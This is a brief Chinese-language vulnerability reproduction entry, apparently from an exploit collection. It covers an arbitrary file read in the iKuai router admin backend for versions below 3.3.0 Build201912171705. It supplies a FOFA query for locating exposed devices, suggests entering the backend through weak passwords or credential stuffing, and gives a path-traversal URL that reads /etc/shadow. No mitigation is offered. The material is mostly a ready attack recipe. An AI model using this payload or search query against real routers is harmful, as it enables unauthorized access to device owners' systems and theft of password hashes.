爱快路由器后台任意文件读取

漏洞描述

爱块路由器后台存在任意文件读取漏洞，攻击者可通过漏洞读取敏感信息

漏洞影响

3.3.0 x64 Build201912171705 以下版本

FOFA

app="iKuai-产品"

漏洞复现

该漏洞需要先通过某种手段进入到后台，如弱口令、撞库等。

进入到后台之后可通过以下url进行任意文件读取

http://x.x.x.x/Action/download?filename=../../../../../../etc/shadow HTTP/1.1